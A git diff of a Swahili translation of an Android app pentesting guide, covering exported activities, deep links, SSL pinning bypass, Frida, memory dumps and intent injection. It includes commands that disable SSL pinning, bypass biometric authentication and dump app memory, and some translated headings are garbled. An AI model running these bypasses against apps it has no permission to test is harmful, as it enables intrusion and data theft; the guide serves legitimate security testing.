Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshinikiza maudhui ya programu kuwa faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshinikiza aina hizi za programu... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshinikizwa kutoka kwa mfumo wa faili.**
|
||||
|
||||
### Uchambuzi wa Msimbo wa Kawaida
|
||||
### Uchambuzi wa Msimbo wa Kawaida wa Kiotomatiki
|
||||
|
||||
Zana [**mariana-trench**](https://github.com/facebook/mariana-trench) ina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Zana hii ina mfululizo wa **vyanzo vinavyojulikana** (ambayo inaonyesha kwa zana **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambayo inaonyesha kwa zana **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **kanuni**. Kanuni hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
|
||||
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
|
||||
|
||||
Kwa maarifa haya, **mariana-trench itakagua msimbo na kupata udhaifu unaowezekana ndani yake**.
|
||||
|
||||
### Siri zilizovuja
|
||||
|
||||
Programu inaweza kuwa na siri (funguo za API, nywila, URLs zilizofichwa, subdomains...) ndani yake ambazo unaweza kuweza kugundua. Unaweza kutumia zana kama [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
Programu inaweza kuwa na siri (funguo za API, nywila, URLs zilizofichwa, subdomains...) ndani yake ambazo unaweza kuweza kugundua. Unaweza kutumia chombo kama [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Kupita Uthibitishaji wa Kijamii
|
||||
### Kupita Uthibitishaji wa Kijeni
|
||||
|
||||
{{#ref}}
|
||||
bypass-biometric-authentication-android.md
|
||||
{{#endref}}
|
||||
|
||||
### Kazi Mwingine za Kuvutia
|
||||
### Kazi Nyingine za Kuvutia
|
||||
|
||||
- **Utekelezaji wa msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Tuma SMS**: `sendTextMessage, sendMultipartTestMessage`
|
||||
@ -221,13 +225,13 @@ content-protocol.md
|
||||
|
||||
---
|
||||
|
||||
## Uchambuzi wa Kijamii
|
||||
## Uchambuzi wa Kijadi
|
||||
|
||||
> Kwanza kabisa, unahitaji mazingira ambapo unaweza kufunga programu na mazingira yote (cheti cha Burp CA, Drozer na Frida hasa). Kwa hivyo, kifaa kilichojikita (kilichotengenezwa au la) kinapendekezwa sana.
|
||||
|
||||
### Uchambuzi wa Kijamii Mtandaoni
|
||||
### Uchambuzi wa Kijadi Mtandaoni
|
||||
|
||||
Unaweza kuunda **akaunti ya bure** katika: [https://appetize.io/](https://appetize.io). Jukwaa hili linakuruhusu **kupakia** na **kutekeleza** APKs, hivyo ni muhimu kuona jinsi apk inavyofanya kazi.
|
||||
Unaweza kuunda **akaunti ya bure** katika: [https://appetize.io/](https://appetize.io). Jukwaa hili linakuwezesha **kupakia** na **kutekeleza** APKs, hivyo ni muhimu kuona jinsi apk inavyofanya kazi.
|
||||
|
||||
Unaweza hata **kuona kumbukumbu za programu yako** kwenye wavuti na kuungana kupitia **adb**.
|
||||
|
||||
@ -235,7 +239,7 @@ Unaweza hata **kuona kumbukumbu za programu yako** kwenye wavuti na kuungana kup
|
||||
|
||||
Shukrani kwa muunganisho wa ADB unaweza kutumia **Drozer** na **Frida** ndani ya emulators.
|
||||
|
||||
### Uchambuzi wa Kijamii wa Mitaa
|
||||
### Uchambuzi wa Kijadi wa Mitaa
|
||||
|
||||
#### Kutumia emulator
|
||||
|
||||
@ -268,8 +272,8 @@ Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **k
|
||||
4. Bonyeza **Nambari ya Ujenzi** mara 7.
|
||||
5. Rudi nyuma na utaona **Chaguzi za Wataalamu**.
|
||||
|
||||
> Mara tu umepofunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
|
||||
> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijamii kwa kutumia MobSF uchambuzi wa kijamii + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye.
|
||||
> Mara baada ya kufunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
|
||||
> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijadi kwa kutumia MobSF uchambuzi wa kijadi + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye.
|
||||
|
||||
### Kuvuja kwa Data zisizokusudiwa
|
||||
|
||||
@ -279,15 +283,15 @@ Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji**
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba kuanzia **baada ya Android 4.0**, **programu zinaweza kufikia kumbukumbu zao tu**. Hivyo programu haziwezi kufikia kumbukumbu za programu nyingine.\
|
||||
> Hata hivyo, bado inapendekezwa **kutokufichua taarifa nyeti**.
|
||||
> Hata hivyo, bado inapendekezwa **kutokuficha taarifa nyeti**.
|
||||
|
||||
**Kuhifadhi Kumbukumbu za Nakala/Pasta**
|
||||
|
||||
Mfumo wa **clipboard-based** wa Android unaruhusu kazi za nakala-na-pasta katika programu, lakini unatoa hatari kwani **programu nyingine** zinaweza **kufikia** clipboard, na hivyo kuweza kufichua data nyeti. Ni muhimu **kuondoa kazi za nakala/pasta** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia kuvuja kwa data.
|
||||
Mfumo wa **clipboard** wa Android unaruhusu kazi za nakala-na-pasta katika programu, lakini unatoa hatari kwani **programu nyingine** zinaweza **kufikia** clipboard, na hivyo kufichua data nyeti. Ni muhimu **kuondoa kazi za nakala/pasta** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia kuvuja kwa data.
|
||||
|
||||
**Kumbukumbu za Kuanguka**
|
||||
|
||||
Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kufichua kumbukumbu wakati wa kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama.
|
||||
Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kuficha kumbukumbu wakati wa kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama.
|
||||
|
||||
Kama pentester, **jaribu kuangalia kumbukumbu hizi**.
|
||||
|
||||
@ -297,28 +301,28 @@ Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
Programu nyingi zitatumia **maktaba za ndani za SQLite** kuhifadhi taarifa. Wakati wa pentest angalia **maktaba** zilizoundwa, majina ya **meza** na **safu** na data yote **iliyohifadhiwa** kwa sababu unaweza kupata **taarifa nyeti** (ambayo itakuwa udhaifu).\
|
||||
Zaidi ya programu nyingi zitatumia **maktaba za ndani za SQLite** kuhifadhi taarifa. Wakati wa pentest angalia **maktaba** zilizoundwa, majina ya **meza** na **safu** na data yote **iliyohifadhiwa** kwa sababu unaweza kupata **taarifa nyeti** (ambayo itakuwa udhaifu).\
|
||||
Maktaba zinapaswa kuwa katika `/data/data/the.package.name/databases` kama `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Ikiwa maktaba inahifadhi taarifa za siri na ime **fichwa** lakini unaweza **kupata** **nywila** ndani ya programu bado ni **udhaifu**.
|
||||
|
||||
Taja meza kwa kutumia `.tables` na taja safu za meza kwa kufanya `.schema <table_name>`
|
||||
|
||||
### Drozer (Kuvunja Shughuli, Watoa Maudhui na Huduma)
|
||||
### Drozer (Kufanya Kazi za Kutoroka, Watoa Maudhui na Huduma)
|
||||
|
||||
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\
|
||||
Drozer ni zana muhimu ya **kuvunjia shughuli zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo.
|
||||
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuwezesha **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\
|
||||
Drozer ni chombo muhimu kwa **kufanya kazi za kutoroka, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo.
|
||||
|
||||
### Kuvunja Shughuli Zilizotolewa
|
||||
### Kutoroka Kazi za Kutoroka
|
||||
|
||||
[**Soma hii ikiwa unataka kufreshi kile kilicho shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
[**Soma hii ikiwa unataka kufreshi kile kilicho Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Pia kumbuka kwamba msimbo wa shughuli huanza katika **`onCreate`** njia.
|
||||
|
||||
**Kupita Uthibitishaji**
|
||||
|
||||
Wakati shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
|
||||
Wakati Shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
|
||||
|
||||
[**Jifunze jinsi ya kuvunja shughuli zilizotolewa na Drozer.**](drozer-tutorial/index.html#activities)
|
||||
[**Jifunze jinsi ya kufanya kazi za kutoroka kwa Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb:
|
||||
|
||||
@ -327,14 +331,14 @@ Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb:
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF itagundua kama ni hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika shughuli, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), inaonekana hii ni hatari tu katika toleo za zamani (API versions < 21).
|
||||
**NOTE**: MobSF itagundua kama hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika shughuli, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), kwa wazi hii ni hatari tu katika toleo za zamani (API versions < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba kupita kwa idhini si kila wakati udhaifu, itategemea jinsi kupita kunavyofanya kazi na ni taarifa gani zinazoonyeshwa.
|
||||
|
||||
**Kuvuja kwa taarifa nyeti**
|
||||
|
||||
**Shughuli zinaweza pia kurudisha matokeo**. Ikiwa unafanikiwa kupata shughuli iliyosambazwa na isiyo na ulinzi inayoita **`setResult`** na **kurudisha taarifa nyeti**, kuna uvujaji wa taarifa nyeti.
|
||||
**Shughuli zinaweza pia kurudisha matokeo**. Ikiwa utaweza kupata shughuli iliyosambazwa na isiyo na ulinzi inayoita **`setResult`** na **kurudisha taarifa nyeti**, kuna uvujaji wa taarifa nyeti.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
@ -360,7 +364,7 @@ Huduma kimsingi ni kitu ambacho **kinaweza kupokea data**, **kuchakata** na **ku
|
||||
[**Soma hii ikiwa unataka kukumbusha nini ni Vastika za Matangazo.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Kumbuka kwamba vitendo vya Vastika za Matangazo huanza katika njia `onReceive`.
|
||||
|
||||
Vastika ya matangazo itakuwa ikisubiri aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\
|
||||
Vastika za matangazo zitakuwa zikisubiri aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\
|
||||
[**Jifunze jinsi ya kutumia Vastika za Matangazo na Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Kutumia Mipango / Viungo vya Kina**
|
||||
@ -390,7 +394,7 @@ Kila wakati unapotafuta deeplink hakikisha kuwa **haipokei data nyeti (kama nywi
|
||||
**Parameters in path**
|
||||
|
||||
Unapaswa **kuangalia pia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio hatarini unatumia njia sahihi) na hatari nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio na udhaifu ulitumia njia sahihi) na udhaifu mwingine wowote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**More examples**
|
||||
|
||||
@ -399,22 +403,22 @@ Ripoti ya [bug bounty](https://hackerone.com/reports/855618) kuhusu viungo (_/.w
|
||||
### Transport Layer Inspection and Verification Failures
|
||||
|
||||
- **Vyeti havikaguliwi kila wakati ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyojitegemea au, katika baadhi ya matukio, kurudi kutumia muunganisho wa HTTP.
|
||||
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), ikiruhusu washambuliaji kufungua data.
|
||||
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Udhaifu huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu washambuliaji kufungua data.
|
||||
- **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu.
|
||||
|
||||
#### Certificate Verification
|
||||
|
||||
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu mipangilio isiyo salama ya TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia hatari, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
|
||||
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu usanidi usio salama wa TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama unaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti.
|
||||
SSL Pinning ni kipimo cha usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti.
|
||||
|
||||
#### Traffic Inspection
|
||||
|
||||
Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hii, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti ya CA ya kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Ili kukagua trafiki ya HTTP, ni lazima **kusakinisha cheti cha zana ya proxy** (kwa mfano, Burp). Bila kusakinisha cheti hii, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusakinisha cheti ya CA ya kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Programu zinazolenga **API Level 24 na juu** zinahitaji marekebisho kwenye Mipangilio ya Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Mipangilio ya Usalama wa Mtandao, [**rejelea mafunzo haya**](make-apk-accept-ca-certificate.md).
|
||||
Programu zinazolenga **API Level 24 na juu** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea tutorial hii**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Ikiwa **Flutter** inatumika unahitaji kufuata maelekezo katika [**ukurasa huu**](flutter.md). Hii ni kwa sababu, kuongeza cheti kwenye duka hakutafanya kazi kwani Flutter ina orodha yake ya CAs halali.
|
||||
|
||||
@ -422,20 +426,20 @@ Ikiwa **Flutter** inatumika unahitaji kufuata maelekezo katika [**ukurasa huu**]
|
||||
|
||||
Wakati SSL Pinning inatekelezwa, kuipita inakuwa muhimu ili kukagua trafiki ya HTTPS. Njia mbalimbali zinapatikana kwa kusudi hili:
|
||||
|
||||
- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa kutumia [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha mpya, na hii haitafanya kazi kila wakati.
|
||||
- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning na [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kusakinisha mpya, na hii haitafanya kazi kila wakati.
|
||||
- Unaweza kutumia **Frida** (iliyajadiliwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF uchambuzi wa dynamic** (iliyofafanuliwa hapa chini)
|
||||
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF dynamic analysis** (iliyofafanuliwa hapa chini)
|
||||
- Ikiwa bado unafikiri kuna trafiki ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Looking for Common Web Vulnerabilities
|
||||
|
||||
Ni muhimu pia kutafuta hatari za kawaida za wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza hatari hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
|
||||
Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza udhaifu hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\
|
||||
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukarabati tabia, kubadilisha thamani, kutoa thamani, kuendesha code tofauti...**\
|
||||
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukarabati, kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\
|
||||
Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida.
|
||||
|
||||
- Jifunze jinsi ya kutumia Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
@ -448,7 +452,7 @@ Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi y
|
||||
|
||||
Angalia ikiwa programu inahifadhi taarifa nyeti ndani ya kumbukumbu ambayo haipaswi kuhifadhiwa kama nywila au maneno ya kukumbuka.
|
||||
|
||||
Kwa kutumia [**Fridump3**](https://github.com/rootbsd/fridump3) unaweza kutupa kumbukumbu ya programu kwa:
|
||||
Kwa kutumia [**Fridump3**](https://github.com/rootbsd/fridump3) unaweza kutoa kumbukumbu ya programu kwa:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -465,7 +469,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
|
||||
Katika Android, Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa ruhusa ya kutosha bado **inawezekana kuipata**. Kadri programu zinavyotenda kuhifadhi hapa **data nyeti katika maandiko wazi**, pentests zinapaswa kuangalia kwa mtumiaji wa root au mtu mwenye ufikiaji wa kimwili kwenye kifaa anaweza kuwa na uwezo wa kuiba data hii.
|
||||
|
||||
Hata kama programu imehifadhi data katika keystore, data inapaswa kuwa imefungwa.
|
||||
Hata kama programu imehifadhi data katika keystore, data hiyo inapaswa kuwa imefungwa.
|
||||
|
||||
Ili kufikia data ndani ya keystore unaweza kutumia script hii ya Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
@ -479,13 +483,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Picha za Muktadha**
|
||||
|
||||
Unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu imepakiwa haraka.
|
||||
Wakati unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu hivyo inaonekana kama programu imepakiwa haraka.
|
||||
|
||||
Hata hivyo, ikiwa picha hii ina **habari nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuchukua habari hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia).
|
||||
|
||||
Picha hizo kwa kawaida huhifadhiwa katika: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE** katika mpangilio. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
|
||||
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE** katika mpangilio. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -493,28 +497,28 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
Chombo hiki kinaweza kukusaidia kusimamia zana mbalimbali wakati wa uchambuzi wa dynamic: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Kuingilia kwa Intent
|
||||
### Uingizaji wa Intent
|
||||
|
||||
Wakuu wa programu mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo ambao hushughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
|
||||
|
||||
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha kuingilia kwa Intents zenye uharibifu.
|
||||
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha uingizaji wa Intent mbaya.
|
||||
|
||||
### Maelezo Muhimu
|
||||
|
||||
- **Kuingilia kwa Intent** ni sawa na tatizo la Open Redirect la wavuti.
|
||||
- Uhalifu unahusisha kupitisha vitu vya `Intent` kama ziada, ambavyo vinaweza kuelekezwa kutekeleza operesheni zisizo salama.
|
||||
- **Uingizaji wa Intent** ni sawa na tatizo la Open Redirect la wavuti.
|
||||
- Ukatili unahusisha kupitisha vitu vya `Intent` kama ziada, ambavyo vinaweza kuhamasishwa kutekeleza operesheni zisizo salama.
|
||||
- Inaweza kufichua vipengele visivyoweza kusambazwa na watoa maudhui kwa washambuliaji.
|
||||
- Kubadilisha URL ya `WebView` kuwa `Intent` kunaweza kuwezesha vitendo visivyokusudiwa.
|
||||
|
||||
### Kuingilia kwa Kliendi ya Android na mengineyo
|
||||
### Uingizaji wa Kando ya Mteja wa Android na mengineyo
|
||||
|
||||
Labda unajua kuhusu aina hii ya udhaifu kutoka kwa Wavuti. Lazima uwe makini sana na udhaifu huu katika programu ya Android:
|
||||
|
||||
- **SQL Injection:** Unaposhughulika na maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyopangwa.
|
||||
- **JavaScript Injection (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusion ya Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
- **Cookies za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, cookie haifutwi au inaweza hata kuhifadhiwa kwenye diski.
|
||||
